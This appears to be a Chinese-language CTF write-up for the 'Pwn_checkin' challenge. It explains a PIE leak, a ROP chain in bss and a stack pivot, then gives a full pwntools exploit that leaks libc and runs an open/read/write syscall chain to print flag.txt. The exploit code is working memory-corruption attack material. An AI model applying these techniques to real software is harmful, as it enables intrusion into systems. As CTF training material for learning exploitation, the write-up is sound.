Pwn_checkin

glibc 2.32 影响不大,没有涉及相关的防护措施,也给了 ld ,更好模拟远程换下加载方式:

1
p = process(["./ld-2.32.so", "./pwn"], env={"LD_PRELOAD":"./libc.so.6"})

开局给了 text 段的地址,PIE 等于没开。然后可以想 bss 段写入非常长字符串,这里写入的应该是 ropchain ,因为这段空间没有执行权限。接着就是有一个栈溢出,溢出长度刚好覆盖 rip ,结合前面往 bss 段写入内容,判断是栈迁移。

image-20210624142259698

elf 中没有足够的函数和 gadget ,决定第一步先用 puts 泄露出 libc 基地址,然后写入第二次的 ropchain ,设想构造之前遇到过的栈迁移的结构:

1
2
3
4
payload = 'a'*0x800#'a'*(0x800-8)+p64(bss+0x840-8)
payload += p64(pop_rdi_ret)+p64(puts_got)
payload += p64(puts_plt)
payload += p64(text_base+0x13c6)

第二次 ropchain 用 main 函数中的 read 写入,提前布置 rbp 寄存器,利用 0x1403 的 leave;ret 再次迁移,但是会在 printf 处报错。

image-20210624143133288

在师傅提醒下,在 read 时直接覆盖并接上原来的 ropchain :

image-20210624144721047

将栈顶覆盖为 ret ,然后后面接着写上 ropchain :

image-20210624144851422

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux','sp','-h']


p = process(["./ld-2.32.so", "./pwn"], env={"LD_PRELOAD":"./libc.so.6"})
libc = ELF("./libc.so.6")
elf = ELF("./pwn")

p.recvuntil("gift > ")
main_addr = int(p.recv(14),16)
log.info("main_addr:"+hex(main_addr))
text_base = main_addr - 0x1387
log.info("text_base:"+hex(text_base))

bss = text_base+0x4060

# elf gadget
pop_rdi_ret = text_base+0x0000000000001473
pop_rsi_r15_ret = text_base+0x0000000000001471
leave_ret = text_base+0x0000000000001310
ret = text_base+0x1409
read_gadget = text_base+0x13c6


puts_plt = text_base+0x10d0#elf.sym['puts']
log.info("puts_plt:"+hex(puts_plt))
puts_got = text_base+0x3FB0
log.info("puts_got:"+hex(puts_got))
read_got = text_base+0x3fd0

payload = 'a'*0x800#'a'*(0x800-8)+p64(bss+0x840-8)
payload += p64(pop_rdi_ret)+p64(puts_got)
payload += p64(puts_plt)
payload += p64(read_gadget)


gdb.attach(p,"b *$rebase(0x13E8)")
raw_input()

p.sendafter("payload > ",payload)

p.sendafter("stack > ",'a'*32+p64(bss+0x800-8)+p64(leave_ret))
libc_base = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00') - libc.sym['puts']
log.info(hex(libc_base))

#libc gadget
pop_rdx_rbx_ret = libc_base + 0x114161
pop_rax_ret = libc_base + 0x0000000000045580
syscall = libc_base + 0x611ea

# open("flag.txt", 0)
payload = './flag.txt'.ljust(0x820-8, '\x00') +p64(ret)
payload += p64(pop_rdi_ret)+p64(bss) + p64(pop_rsi_r15_ret)+p64(0)*2 + p64(pop_rax_ret)+p64(2) + p64(syscall)
# read(3, target, 0x50)
payload += p64(pop_rdi_ret)+p64(3) + p64(pop_rsi_r15_ret)+p64(bss)*2 + p64(pop_rdx_rbx_ret)+p64(0x50)*2 + p64(pop_rax_ret)+p64(0) + p64(syscall)
# write(1, target, 0x50)
payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rax_ret)+p64(1) + p64(syscall)
p.send(payload)

p.interactive()